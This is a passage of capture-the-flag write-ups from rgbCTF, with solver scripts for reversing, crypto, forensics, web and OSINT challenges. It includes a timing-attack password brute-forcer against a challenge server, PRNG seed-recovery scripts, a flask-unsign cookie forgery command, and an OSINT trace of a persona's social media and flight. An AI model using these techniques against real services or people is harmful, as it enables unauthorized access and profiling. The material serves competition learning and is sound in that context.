  3. Our input is gotten, then the function executeCodeThatDoesSomethingThatYouProbablyNeedToFigureOut is run on the input. The output is compared to scanner.getClass().getPackageName().replace(".", "") scanner.getClass().getPackageName().replace(".", "") = javautil This means our target output is javautil.

Let's look at the actual function.

Bloated, I know, but we can split the logic up. It splits the input into chunks of 4. It iterates over these chunks of 4. For every chunk of 4, it splits it into 2 chunks of 2. NOTE: this is all done on the input after the "encryption" 1. Grab the class name associated with the first chunk of 2 2. Iterate to do this three times: a. Grab method of class that chunk 2 corresponds to. b. call function, set chunk 2 to the output 3. Append the final chunk 2 to the output So, say we sent kpta It would go to class kp, and search for a method called ta. It would call ta, then store the output, and try to find the method corresponding to this output... etc. etc. This means we want the first chunk of 4 to result in ja, the second to result in va, the third ut, the fourth il.

This means we will want to find a chain of functions within 4 classes. The chain would have

function that returns name of function that returns name of function that returns name of function that returns string we want

We can search manually for these chains.

So, the input, after the encryption is done, must be [class name][start of chain][class name][start of chain]

This means our input, when encrypted, must be glvgprpkqgamfggg

If we look carefully at the encryption, we find it's actually just an XOR. Now, you know XOR, encryption and decryption are the same operation. So we can just run the encryption function on glvgprpkqgamfggg to get the flag, enterprisecodeee

hashtag
Flag: rgbCTF{enterprisecodeee}

gl.java vg -> we -> rb -> ja
pr.java pk -> te -> wj -> va
qg.java am -> xs-> mb-> ut
fg.java gg-> mg-> oa-> il
    public static String executeCodeThatDoesSomethingThatYouProbablyNeedToFigureOut(String stringToExecuteAforementionedCodeOn) throws Exception {
        String encryptedString = reallyBasicQuoteUnquoteEncryptionFunctionThatWillOnlyTakeTimeToFigureOutIfYouKeepReadingTheseRidiculouslyLongMethodNames(stringToExecuteAforementionedCodeOn);
        String returnValueOfThisFunction = new String();
        String[] chunksOfEncryptedStringOfLengthFour = splitStringIntoChunksOfLength(encryptedString, FOUR);
        for (String chunkOfEncryptedStringOfLengthFour : chunksOfEncryptedStringOfLengthFour) {
            String[] chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = splitStringIntoChunksOfLength(chunkOfEncryptedStringOfLengthFour, TWO);
            String firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[0];
            String secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[1];
            Class<?> classAndExtraCharactersSoItsNotAKeyword = Class.forName(firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
            Object object = classAndExtraCharactersSoItsNotAKeyword.getConstructors()[ZERO].newInstance();
            for (int loopArbitraryCounterIterator = 0; loopArbitraryCounterIterator < THREE; loopArbitraryCounterIterator++) {
                Method method = classAndExtraCharactersSoItsNotAKeyword.getMethod(secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
                secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = (String)method.invoke(object);
            }
            returnValueOfThisFunction = new String(returnValueOfThisFunction + secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
        }
        return returnValueOfThisFunction;
    }

ye olde prng

We get that the numbers are generated by squaring the number and taking the middle digits or something?

script below:

n = int(input())
print(str(n**2)[50:-50])

hashtag
flag: rgbCTF{d0nt_us3_midd13_squ4r3}

rev|pwn

LYCH King

So with some experimentation we found the binary actually XORs the inputted plaintext with a one time pad. Just sub in the ciphertext right? Kind of?

If we sub in a plaintext we know and xor back to get the stream we get a bunch of numbers. With a bit of help from the author and some research we realised these numbers were a sequence of lychrel numbers. The first bit of the stream, 1997, is a lychrel number, specifically the seed stored inside of the binary which it then uses to generate the rest of the lychrel, converts to string and then XORs.

"the bad seed" implies this seed must be fixed.

Soooo i just found out the position in the binary the seed was stored(0x7c5b) and bruteforced the seed in that location. Grepping for rgb gives us the plaintext

He&jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:

Which yields the flag.

hashtag
Flag: rgbctf{the flag is just rgb lol}

from pwn import *
ciphertext = open("cipher","rb").read()
def xor(bytes1,bytes2):
    return bytes(b1 ^ b2 for b1,b2 in zip(bytes1,bytes2))
def decryptstring(seed):
    f = open("lich","r+b")
    f.seek(0x7c5b)
    f.write(p32(seed))
    f.close()
    output = os.popen(f"./lich {'a'*len(ciphertext)}").read().encode()
    stream = xor(output,b'a'*len(ciphertext))
    return xor(ciphertext,stream)
for i in range(1,5000):
    print(decryptstring(i))

Time Machine

Essentially has a shuffled alphabet, and uses /dev/urandom to pick 8 random chars from it.

Getting the first char correct causes it to sleep for 1s, the first two caused it to sleep for 2s, etc. Using this, I wrote a bruteforcer that measured response times.

from pwn import *
chars = "UVWXYZAFBCDQRSTGHIJNOPKLEM"
pw = ""
import time
#p = process("./my_time_machine.elf")
p = remote("challenge.rgbsec.xyz", 13373, level='debug')
p.recvuntil(': \n')

while len(pw) < 8:
    for c in chars:
        s = time.time()
        p.sendline((pw + c).ljust(8, 'A'))
        p.recvline(timeout=9)
        e = time.time()
        p.recvline()
        if (e-s) >= len(pw)+1:
            pw += c
            print(pw)
            break
p.clean()
p.sendline(pw)
print(p.clean(timeout=10))

hashtag
rgbCTF{t1m3_is-d4ng3r0us_a7fe798c89123dab}

Vaporwave 2

We get two audio tracks.

One of them has a message about turntables in base64 in the spectogram, which seems kinda useless.

So to get the difference between the tracks, I inverted track one, then used audacity to mix and render the two to a new track (effectively subtracting track1 from track2) giving us the flag in a spectogram.

hashtag
rgbCTF{s3v3r3_1nv3r71g0}

insert witty algorithm name here

So basically just steal this code go brrr and remove the last 4 checks (since we dont want diagonals).

hashtag
flag: rgbCTF{119609}

https://www.geeksforgeeks.org/find-the-number-of-islands-set-2-using-disjoint-set/?ref=rparrow-up-right

icanhaz

The file is a raw hexdump. De-hexdump-ing this and checking the filetype in cyberchef shows it is an xz compressed file.

Using an online tool, https://extract.me/arrow-up-right, you can extract a file from it.

This gives us the HTML for an SVG.

This SVG will form a QR code, but it's much easier to notice by replacing the #fffff6` colour with#000000 using` find and replace.

Scanning this QR code gives some base64 encoded data. Decompress this, and you get another xz file. Extracting this gives an ASCII art for a QR code - in inverted colours. Swap the colours and scan for the flag.

hashtag
flag: rgbCTF{iCanHaz4N6DEVJOB}

ZTC

tictactoe

So after beating the ai a tonne of times i realised they werent going to implement a win method for you to get the flag <:rolf:683071291347042408>

So i thought abouut global events but gave up but then found a b64 string in one of the lines of obfuscated code. i got...

rgbCTF{h4h4_j4v42cr1p7_ev3n72_AR3_c00L}

vaporwave 3

Using the same method as 1 and 2 we use spectrogram stuffs to get chunks of text in each audio clip using briefing hints (and guessing) we sort these by decreasing time length to get a string: janOHS{ahse0n1yz_k4f73p}

We then guess vigenere and uh after some trial and error (and using the flag format as a guide) i got a partial key of "summon", so i just guessed the key was summoningsalt by the theme and also the briefing to get the flag.

hashtag
flag: rgbCTF{summ0n1ng_s4l73d}

Penguins

we see a .git directory, so we navigate to it, and check out the objects we can decompress all the zlib files with

for f in */*; do python -c "import zlib; print zlib.decompress(open('$f').read());";

one of them has a weird looking string in it: blob 149YXMgeW9kYSBvbmNlIHRvbGQgbWUgInJld2FyZCB5b3UgaSBtdXN0IgphbmQgdGhlbiBoZSBnYXZlIG1lIHRoaXMgLS0tLQpyZ2JjdGZ7ZDRuZ2wxbmdfYzBtbTE3c180cjNfdU5mMHI3dW40NzN9 removing the blob number gets us a b64decodable string, which gets us the flag:

hashtag
rgbctf{d4ngl1ng_c0mm17s_4r3_uNf0r7un473}

Too Slow

Essentially has a really slow 'key generator' but always outputs 0x265d1d23.

So I just stepped up to just before the generator, stepped over it, then set eax to that value and continued execution.

hashtag
rgbCTF{pr3d1ct4bl3_k3y_n33d5_no_w41t_cab79d}

Vaporwave1

I had no clue, so thought of a ton of things, eventually coming back to some physics lessons with waves.

We can use a spectrum analyser to see "the magnitude of an input signal vs frequency within the full frequency range of the instrument". I used spek (spek.cc) to do that, and it loads in the flag.

hashtag
Flag: rgbCTF{s331ng_s0undz}

web

Ralphie

The image has a QR code in the corner with a red and green channel. Extracting the channels and converting to BW gives us Green: xmasCTF{YoullShootYourEyeOutKid} Red:

hashtag
rgbCTF{BESURETODRINKYOUROVALTINE}

Peepdis

Assimp exported file, 3D model format. Import to assimp, export to .obj. Open in blender, it's a QR code.

Setup a shader to lerp white->black based on height, then scan the QR code.

hashtag
rgbCTF{3d-1337!}

keen eye

i just ended up comparing the typeracer websites and noticed they used a different popper version (1.16.1 or something) and then went to that code and searched for rgb and got flag.

hashtag
flag: rgbctf{n073_7h3_d1ff}

Quirky resolution

Again, chuck it into same link which gets you a load of qr codes in one image Open it in an online qr code reader Load of noise, but one pops out

hashtag
Flag: rgbCTF{th3_qu1rk!er_th3_b3tt3r}

linkarrow-up-right

type racer

console.log(Array.from(document.getElementById('Ym9iYmF0ZWEh').children).sort((a, b) => parseInt(a.style.order) -
parseInt(b.style.order)).map(x => x.innerHTML).join('').replace(/&nbsp;/g, ' '))

and then pyautogui to type it

Pi 2

First things first, we saved the phone number, and saw if it synced with any social medias. It gave an instagram (https://www.instagram.com/donnylockheart9/?hl=enarrow-up-right). The first thing to do: check the highlights. The highlights reveal to us a few things, his full name and his city.

He also left a boarding pass on there, with him flying into Amsterdam on Friday 17th, at 1:45 pm. Using my aviation nerd skills, I searched up flights arriving into schipol at 1.45 pm, and i got the flight number.

Slapping together everything in a flag form, we get

hashtag
Flag: rgbCTF{donovanlockheart:birmingham:gb:kl1426}

Space Transmission

Run the file on a sstv program such as Robot36 on Android.

hashtag
Flag: rgbctf{s10w_2c4n_1s_7h3_W4V3}

PI 1- Magic in the air

hashtag
PI 1: Magic in the air

Open the pcap, add data to the columns by clicking on the packet bytes and right click > Apply to column where it it highlights. Remove the other columns then go to File > Export Packet > Dissections > As CSV. Remove the odd data such as Value, the white space and the odd data parts. Remove the speech marks with 'sed -i 's/"//g' . Then run this script on it

The output will have the number.

hashtag
Flag: rgbCTF{+46736727859}

newmap = {
2: "PostFail",
4: "a",
5: "b",
6: "c",
7: "d",
8: "e",
9: "f",
10: "g",
11: "h",
12: "i",
13: "j",
14: "k",
15: "l",
16: "m",
17: "n",
18: "o",
19: "p",
20: "q",
21: "r",
22: "s",
23: "t",
24: "u",
25: "v",
26: "w",
27: "x",
28: "y",
29: "z",
30: "1",
31: "2",
32: "3",
33: "4",
34: "5",
35: "6",
36: "7",
37: "8",
38: "9",
39: "0",
40: "Enter",
41: "esc",
42: "del",
43: "tab",
44: "space",
45: "-",
47: "[",
48: "]",
56: "/",
57: "CapsLock",
79: "RightArrow",
80: "LetfArrow"
}

myKeys = open("<filtered out file>")
i = 1
for line in myKeys:
    bytesArray = bytearray.fromhex(line.strip())
    #print "Line Number: " + str(i)
    for byte in bytesArray:
        if byte != 0:
            keyVal = int(byte)

            if keyVal in newmap:
                #print "Value map : " + str(keyVal) + " - -> " + newmap[keyVal]
                print newmap[keyVal]
            else:
                print "No map found for this value: " + str(keyVal)

                #print format(byte, "02X")
                i+=1

Insanity Check

Download Run zsteg

hashtag
Flag: rgbCTF{y0u_c4n_d0wnl04d_th1s}

https://cdn.discordapp.com/icons/699037304836063292/6749ad472542c68eda62245bb0fca0f3.png?size=128arrow-up-right

Grab your Jisho

As the title suggested, I grabbed my Jisho (jisho.org) and pasted the first "word" in.

In the side panel I saw 20-8-5 for the stroke numbers, which I immidiately recognised as A1Z26 cipher for 'THE'.

The characters were encoded into kanji with an equivalent stroke number.

I continued manual decryption until I identified the plaintext as http://www.gutenberg.org/files/45723/45723-h/45723-h.htmarrow-up-right .

At this point I wrote a quick script to match kanji to letters 1:1 in one paragraph, and use replace on the whole text.

This was much faster, and once I had decrypted 10 or so paragraphs like this grepping for rgb yielded the encrypted flag - 璧技丩忄鰏叒讞鸞鸚鱺鑱磒夢洶飳勊淩鼱殆鸝钁厵鬱. However, some kanji had values above 26.

I struggled with this for a while before trying to just extend them on the ASCII table, which worked!

hashtag
Flag: rgbctf{~|~yominikui~|~} (meaning: illegible)

(rgbctf/crypto/e.md)

Countdown

The cookie is signed using flask. The page says 'Time is key'.

Using the flask-unsign utility, we can recover the secret key, 'Time'. We then resign data to move the 'end' date forwards.

flask-unsign --sign --cookie "{'end': '2020-06-13 16:59:59+0000'}" --secret 'Time'

Sending the resulting cookie gives us the flag.

hashtag
rgbCTF{t1m3_1s_k3y_g00d_j0k3_r1ght}

forensics:osint

I Love Rainbows

So you're given a bunch of md5 and sha256 hashes, after cracking the hashes, you get a bunch of characters, slap em together and you get the flag

hashtag
Flag: rgbCTF{4lw4ys_us3_s4lt_wh3n_h4shing}

imitation crab

robots.txt gives a har file link where we can see a log file after mashing keyboard i saw that the post request contained a "char" parameter so i extracted all of those from the har file and then converted those values to ascii to get flag

script below:

o = ""
with open("export.har","r") as f:
  for line in f:
    if '"text": "{' in line:
      o += chr(int(line[31:33]))
print(o)

hashtag
RGBCTF{H4R_F1L3S_4R3_2UP3R_US3FU1}

N-AES

So, at first this seems literally impossible.

The rand_block function takes a random 1 byte seed(initialising it to the output of os.urandom(1) if the argument isnt given) and then generates a 16-byte random block from this.

The encryption is simple - given a stream of seed bytes and a plaintext, iterate through the seed bytes.

On each byte, set the current ciphertext variable to the current ciphertext variable encrypted with the key generated by the random block that is create using rand_block(cur_byte_of_seed)

Finally, the challenge is generated like so. A random base64 string is generated using urandom, then encrypted in the algorithm. We get the base64 of the encryption.

def gen_chall(text):
    text = pad(text, BLOCK_SIZE)
    for i in range(128):
        text = AES.new(rand_block(), AES.MODE_ECB).encrypt(text) # VULN

    return b64encode(text)

So, what's so fishy about this?

Notice no argument is passed to rand_block, it simply gets a rand block and encrypts 128 times.

The argument is supposed to be os.urandom(1) by default, right? The problem is, everytime you call the function with no argument, the os.urandom(1) isnt regenerated. Instead, the value is first generated when the function is defined and then set to that again and again and again.

Long story short - chall is generated with the same key 128 times. Since it's os.urandom(1), we'll only have to bruteforce 256 possible keys. That can be done easily, and we can check if we've decrypted correctly by checking if the padding matches.

From there, we can simply enter the decrypted ciphertext.

^ script prints out the needed base64, you'll have to manually enter it into the prompt to get the flag from there

hashtag
Flag: rgbCTF{i_d0nt_7hink_7his_d03s_wh47_y0u_7hink_i7_d03s}

crypto

import os
os.environ['TERM'] = 'linux'
os.environ['TERMINFO'] = '/etc/terminfo'
from pwn import *
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from os import urandom
from random import seed,randint
BLOCK_SIZE = 16
def rand_block(key_seed=urandom(1)):
    seed(key_seed)
    return bytes([randint(0, 255) for _ in range(BLOCK_SIZE)])
def gen_chall(text):
    text = pad(text, BLOCK_SIZE)
    for i in range(128):
        text = AES.new(rand_block(), AES.MODE_ECB).encrypt(text)
    return b64encode(text)
p = remote('167.172.123.213', 34567)
enc = p.recvline()[:-1]
#print(enc)
for byte in range(256):
    text = base64.b64decode(enc)
    for i in range(128):
        text = AES.new(rand_block(bytes([byte])), AES.MODE_ECB).decrypt(text)
    try:
        text = unpad(text,16)
        print(base64.b64encode(text))
    except:
        pass
p.interactive()

hallo

Dtmf + multi tap phone cipher:

hashtag
rgbctf#yeet#dtmf#tones#

Adequate Encryption Standard

Let's break down the encryption step by step.

It splits the plaintext into padded blocks of 8. It also expands the key using a key expansion function so that the key is as long as the amount of blocks. The key expansion function causes a drastic loss in size of the keyspace by using modular exponentiation that is not with primitive roots and is modulus a composite(256), which would allow for more optimised bruteforce, but I didn't use this in the end. For each block, it goes through 8 rounds. In each round: 1. Take the current ciphertext. Put it through the sbox(basically a substitution table) 2. Then, put it through the pbox, essentially shuffling the binary based on a pre-determined pbox of indexes. 3. Xor every byte of the current block with the current byte of the expanded key

The sbox and the pbox are things we can easily invert. The only real "encryption" step is the xor bit.

The problem is that unlike normal AES where the key is expanded into 11 keys of the same length of the blocks, in here the key is expanded into essentially 1 byte keys. For each block, for each round, it will keep XORing with the same current byte of the key.

Essentially, we can bruteforce each byte of the key until we get printable values, as the encryption reduces the key in each block to one byte, and this one byte can be bruteforced.

I wrote inversion functions to handle the sbox and pbox, then simply bruted the one byte expanded key of each block until I got a printable value. We can concatenate the decrypted blocks to get the flag,

Script:

hashtag
Flag: rgbCTF{brut3_f0rc3_is_4LW4YS_th3_4nsw3r(but_with_0ptimiz4ti0ns)}

from Crypto.Util.number import *
import string
BLOCK_SIZE = 8
ROUNDS = 8
import base64
sbox = [111, 161, 71, 136, 68, 69, 31, 0, 145, 237, 169, 115, 16, 20, 22, 82, 138, 183, 232, 95, 244, 163, 64, 229, 224, 104, 231, 61, 121, 152, 97, 50, 74, 96, 247, 144, 194, 86, 186, 234, 99, 122, 46, 18, 215, 168, 173, 188, 41, 243, 219, 203, 141, 21, 171, 57, 116, 178, 233, 210, 184, 253, 151, 48, 206, 250, 133, 44, 59, 147, 137, 66, 52, 75, 187, 129, 225, 209, 191, 92, 238, 127, 241, 25, 160, 9, 170, 13, 157, 45, 205, 196, 28, 146, 142, 150, 17, 39, 24, 80, 118, 6, 32, 93, 11, 216, 220, 100, 85, 112, 222, 226, 126, 197, 180, 34, 182, 37, 148, 70, 78, 201, 236, 81, 62, 42, 193, 67, 8, 164, 43, 252, 166, 221, 208, 176, 235, 149, 109, 63, 103, 223, 65, 56, 140, 255, 218, 54, 153, 2, 228, 1, 240, 248, 246, 110, 156, 60, 227, 207, 254, 51, 174, 79, 128, 155, 251, 242, 177, 135, 230, 154, 179, 15, 189, 143, 130, 27, 107, 211, 30, 105, 19, 134, 124, 125, 245, 76, 204, 12, 26, 38, 40, 131, 117, 87, 114, 213, 212, 102, 195, 101, 55, 10, 47, 120, 200, 217, 88, 83, 36, 198, 249, 192, 23, 94, 181, 73, 185, 172, 165, 58, 53, 202, 106, 5, 7, 175, 89, 72, 90, 14, 162, 158, 119, 139, 77, 108, 190, 91, 29, 49, 159, 33, 113, 214, 4, 123, 199, 167, 35, 239, 84, 3, 132, 98]
pbox = [39, 20, 18, 62, 4, 60, 19, 43, 33, 6, 51, 61, 40, 35, 47, 16, 23, 58, 31, 53, 28, 55, 54, 30, 17, 42, 34, 45, 49, 13, 46, 0, 26, 2, 8, 3, 11, 48, 63, 36, 37, 7, 32, 5, 27, 59, 29, 44, 14, 56, 21, 22, 12, 52, 57, 41, 10, 1, 24, 38, 50, 15, 9, 25]
def to_blocks(in_bytes: bytes) -> list:
    return [in_bytes[i:i + BLOCK_SIZE] for i in range(0, len(in_bytes), BLOCK_SIZE)]
def invert_sbox(in_bytes: bytes):
    return bytes([sbox.index(b) for b in in_bytes])
def invert_pbox(in_bytes: bytes):
    permuted = ''.join(bin(b)[2:].zfill(8) for b in in_bytes)
    binary = list('-'*BLOCK_SIZE*8)
    for i in range(len(permuted)):
        binary[pbox[i]] = permuted[i]
    binary = ''.join(binary)
    return long_to_bytes(int(binary,2))
def decwithbyte(block,byte):
    for _ in range(ROUNDS):
        block = bytearray(block)
        for i in range(len(block)):
            block[i] ^= byte
        block = invert_pbox(block)
        block = invert_sbox(block)
    return block
enc = base64.b64decode(b"hQWYogqLXUO+rePyWkNlBlaAX47/2dCeLFMLrmPKcYRLYZgFuqRC7EtwX4DRtG31XY4az+yOvJJ/pwWR0/J9gg==")
enc = to_blocks(enc)
flagregex = string.printable
flag = ''
for block in enc:
    for i in range(256):
        try:
            response = decwithbyte(block,i)
            response = response.decode()
            if all(x in flagregex for x in response):
                flag += response
                break
        except:
            pass
print(flag)

rubikcbc

im aware there is a module for this but: 1. idk how to use it 2. i dont want my effort to go to waste (since i made my own cube manipulator) 3. i dont like installing one time modules cus they clog up space

since it was just cbc i just had to map it to a cube and reverse the scramble then xorred it to get a pdf file

i spent too long fixing bugs with the xor process and how bytes are handled i also spent too long fixing bugs of my cube program

found a qr code in pdf and...

Script:

hashtag
rgbCTF{!IP_over_Avian_Carriers_with_QoS!}

'''
so uhhh orange top green front

   OOO
   OOO
   OOO
YYYWWWGGGBBB - form LRFB
YYYWWWGGGBBB
YYYWWWGGGBBB
   RRR
   RRR
   RRR

   OOO
   OOO
   YYY
YYRWWWOGGBBB
YYRWWWOGGBBB
YYRWWWOGGBBB
   GGG
   RRR
   RRR

   WWW
   WWW
   WWW
RRRRRGOOOYYY
YYYRRGGGGOOO
YYYRRGGGGOOO

BYY
YWY
ORG

RRGYBBYOOGGGRROBBBWOOGGGRGWOOOBBBRRWWYWWYWRWY
'''

facestring = "WWWWWWWWWRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOGGGYYYYYYYYY"

def format(a):
    out = ""
    a = a.replace("'","22")
    for i in a.split(" "):
        out += (i[0] + " ")*len(i)
    out = out[:-1]
    return out


def nice(a):
    for i in range(3):
        print("   "+a[i*3:i*3+3])
    for i in range(3):
        print(a[i*12+9:i*12+21])
    for i in range(3):
        print("   "+a[i*3+45:i*3+48])

def strface(a):
    new = [[["" for _ in range(3)] for _ in range(3)] for _ in range(6)]
    for i,j in enumerate(a[:9]):
        new[0][i//3][i%3] = j
    for i,j in enumerate(a[-9:]):
        new[5][i//3][i%3] = j
    mid = a[9:-9]
    for i in range(36):
        new[(i//3)%4+1][i//12][i%3] = mid[i]
    return new

def facestr(a):
    new = ""
    for i in a[0]:
        new += "".join(i)
    for i in range(3):
        for j in a[1:-1]:
            new += "".join(j[i])
    for i in a[-1]:
        new += "".join(i)
    return new

def bfacestr(a):
    new = []
    for i in a[0]:
        new += i
    for i in range(3):
        for j in a[1:-1]:
            new += j[i]
    for i in a[-1]:
        new += i
    return new

print(strface(facestring))
print(facestr(strface(facestring)))

def r(face , n = 1):
    for i in range(n):
        face = [list(x) for x in zip(*face[::-1])]
    return face

def shift(faces, nums):
    new = [x[:] for x in faces]
    newnums = nums[-1:] + nums[:-1]
    for i in range(4):
        new[newnums[i]][0] = faces[nums[i]][0]
    return new

def spin(faces,a):
    if a == 0:
        return faces
    if a == 1:
        return [r(faces[1]),r(faces[5]),r(faces[2]),r(faces[0]),r(faces[4],3),r(faces[3])]
    if a == 2:
        return [faces[2],r(faces[1],3),faces[5],r(faces[3]),r(faces[0],2),r(faces[4],2)]
    if a == 3:
        for i in range(3):
            faces = spin(faces,1)
        return faces
    if a == 4:
        for i in range(3):
            faces = spin(faces,2)
        return faces
    if a == 5:
        for i in range(2):
            faces = spin(faces,2)
        return faces

def turn(faces,a):
    b = ["U","L","F","R","B","D"].index(a)
    new_faces = spin(faces,b)

    new_faces[0] = r(new_faces[0])
    new_faces = shift(new_faces,[1,2,3,4])


    for i in range(3):
            new_faces = spin(new_faces,b)

    return new_faces

turns = "F' D F L' F U R' B2 U' D' L U2 D F2 L2 B2 L2 D"
turns = format(turns)
print(turns)
IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"

with open("enc_","rb") as f:
    kek = f.read()
    f.close()

kek2 = [kek[i*54:i*54+54] for i in range(len(kek)//54)]

out = b""

for kek3 in kek2:
    cube = strface(kek3)
    for i in turns.split(" "):
        cube = turn(cube,i)

    pp1 = bfacestr(cube)
    pp2 = bytes([_a ^ _b for _a, _b in zip(pp1, IV)])
    out += pp2

    IV = kek3

#print(out)

with open("out","wb") as f:
    f.write(out)
    f.close()

Advanced Reversing Mechanics 2

Decompiling the file, we find it runs the encryptFlag function on the first argument, then prints the output out as hex.

The encrypt flag function runs some complicated airthmetic thing, which doesn't really matter that much, or at all.

What's notable is that the encryption is kind of a rolled byte by byte. That is, the same byte preceded by the same text before it will encrypt to the same thing.

Knowing the flag format, rgbCTF{flag}, we can use a byte by byte bruteforce.

I recreated the function inside of python and attempted to run the bruteforce there, but I got non-preferable results. So, I did this again, this time recreating the code in c and compiling it, then created a python wrapper script to run the bruteforce.

I'm not sure exactly why, but I had to constantly switch between the two scripts, using one to brute the next part of the flag, subbing it into the other to brute the next part of the flag, subbing that in... etc.

Anyhow after all of my pain and a little trial and error i was able to create the final flag.

Python script with recreation:

Python script that used the binary I recompiled:

source of binary i recompiled:

hashtag
Flag: rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}

import os
import string
from pwn import *
flag = "rgbCTF{ARM_ar1thm3t1c_r0cks_fad96"
enc = [0x0A, 0xFB, 0xF4, 0x88, 0xDD, 0x9D, 0x7D, 0x5F, 0x9E, 0xA3, 0xC6, 0xBA, 0xF5, 0x95, 0x5D, 0x88, 0x3B, 0xE1, 0x31, 0x50, 0xC7, 0xFA, 0xF5, 0x81, 0x99, 0xC9, 0x7C, 0x23, 0xA1, 0x91, 0x87, 0xB5, 0xB1, 0x95, 0xE4]
def getlast(string):
    response = os.popen(f"./arm {string}").read().split(", ")
    return int(response[-2],16)

for i in range(len(flag),len(enc)):
    for j in string.ascii_lowercase + string.ascii_uppercase + '0123456789_}':
        try:
            resp = getlast(flag + j)
            if resp == enc[i]:
                flag += j
                print(flag)
                break
        except:
            pass
    else:
        flag += '-'
print(flag.encode())

"""
for j in map(chr,range(256)):
    try:
        resp = getlast(flag + j)
        if resp == enc[len(flag)]:
            print(j)
    except:
        pass
"""
import string
def encryptflag(toencrypt):
    index = 0
    bvvar3 = toencrypt[index]
    while True:
        curbyte = bvvar3
        uVar2 = curbyte - 10 & 0xff
        uVar4 = curbyte
        if (bvvar3 < 0x50) and (uVar4 == uVar2 or 0x50 < uVar2):
            uVar4 = curbyte + 0x46 & 0xff
        uVar4 = (uVar4 - 7 ^ 0x43) & 0xff
        pbVar1 = index + 1
        toencrypt[index] = (uVar4 << 6) | (uVar4 >> 2)
        bvvar3 = toencrypt[pbVar1]
        if bvvar3 == 0: break
        uVar4 = pbVar1 % 5
        bvvar3 = bvvar3 << (-uVar4 & 7) | bvvar3 >> (uVar4 & 0xff)
        if uVar4 == 2:
            bvvar3 = bvvar3 - 1
        toencrypt[pbVar1] = bvvar3
        bvvar3 = toencrypt[pbVar1]
        index = pbVar1
    for i in range(len(toencrypt)):
        toencrypt[i] = toencrypt[i] & 255
enc = [0x0A, 0xFB, 0xF4, 0x88, 0xDD, 0x9D, 0x7D, 0x5F, 0x9E, 0xA3, 0xC6, 0xBA, 0xF5, 0x95, 0x5D, 0x88, 0x3B, 0xE1, 0x31, 0x50, 0xC7, 0xFA, 0xF5, 0x81, 0x99, 0xC9, 0x7C, 0x23, 0xA1, 0x91, 0x87, 0xB5, 0xB1, 0x95, 0xE4]
flag = list(b"rgbCTF{ARM_ar1thm3t1c_r0cks_fad")
l = len(flag)
flag += [0]*(len(enc) - len(flag))
temparr = flag[:]
for i in range(l,len(enc)):
    for j in map(ord,string.ascii_lowercase + string.ascii_uppercase + '0123456789_}'):
        temparr = flag[:]
        temparr[i] = j
        encryptflag(temparr)
        if temparr[i] == enc[i]:
            flag[i] = j
            break
print(flag)
inter = map(chr,flag)
print(''.join(inter))
arr = list(b"rgbCTF{") + [0]
encryptflag(arr)
print(", ".join(map(hex,arr)))
#include <stdlib.h>
#include <stdio.h>
#define true 1
void encryptFlag(char *flag);
int main(int param_1,char *argv[])
{
  char *pcVar1;
  char *pbVar2;
  char abStack272 [256];

  pcVar1 = stpcpy((char *)abStack272,argv[1]);
  encryptFlag(abStack272);
  pbVar2 = abStack272;
  for(int i = 0; i < strlen(argv[1]); i++){
    printf("%02X, ",(uint)((pbVar2[i] & 0xff)));
  }
  putchar(10);
  return 0;
}

void encryptFlag(char *flag)
{
  char *curpointer;
  char *pbVar1;
  uint uVar2;
  char bVar3;
  uint curbyte;
  uint uVar4;

  bVar3 = *flag;
  curpointer = flag;
  if (bVar3 == 0) {
    return;
  }
  while( 1) {
    curbyte = (uint)bVar3;
    uVar2 = curbyte - 10 & 0xff;
    uVar4 = curbyte;
    if ((bVar3 < 0x50) && (uVar4 = uVar2, 0x50 < uVar2)) {
      uVar4 = curbyte + 0x46 & 0xff;
    }
    uVar4 = (uVar4 - 7 ^ 0x43) & 0xff;
    pbVar1 = curpointer + 1;
    *curpointer = (char)(uVar4 << 6) | (char)(uVar4 >> 2);
    bVar3 = *pbVar1;
    if (bVar3 == 0) break;
    uVar4 = (int)(pbVar1 + -(int)flag) % 5;
    bVar3 = bVar3 << (-uVar4 & 7) | bVar3 >> (uVar4 & 0xff);
    if (uVar4 == 2) {
      bVar3 = bVar3 - 1;
    }
    *pbVar1 = bVar3;
    bVar3 = *pbVar1;
    curpointer = pbVar1;
  }
  return;
}

Occasionally Tested Protocol

Looking at the code, we can see it uses random.randint to generate the one time pad.

The thing that is most of note is that it seeds python's random generator using the current time.

Not only this, it prints out the first 10 random numbers outputted by the generator by doing random.randint(5, 10000) and printing the output 10 times.

We can record the time shortly after we connect to the server.

Chances are, we won't have the exact right value.

However, we can use the 10 random numbers as a form of "check" - essentially, we can bruteforce the time based seed within a sensible range, test the seed against the 10 random numbers we know come from the generator, and find the correct one.

Once we find the correct one, it's trivial to generate the byte array and XOR back to get the flag.

script below:

hashtag
Flag: rgbCTF{random_is_not_secure}

import os
os.environ['TERM'] = 'linux'
os.environ['TERMINFO'] = '/etc/terminfo'
from pwn import *
from random import seed, randint as w
from time import time
def getnums(secs):
    seed(secs)
    ans = []
    for _ in range(10):
        ans.append(w(5, 10000))
    return ans
p = remote('167.172.123.213', 12345)
recorded = int(time())
p.recvline()
nums = [int(x) for x in p.recvlines(10)]
p.recvuntil(b"Here's another number I found: ")
enc = int(p.recvline())
knownseed = None
for possible in range(recorded-100,recorded+100):
    nums2 = getnums(possible)
    if nums == nums2:
        knownseed = possible
        break
seed(knownseed)
for _ in range(10):
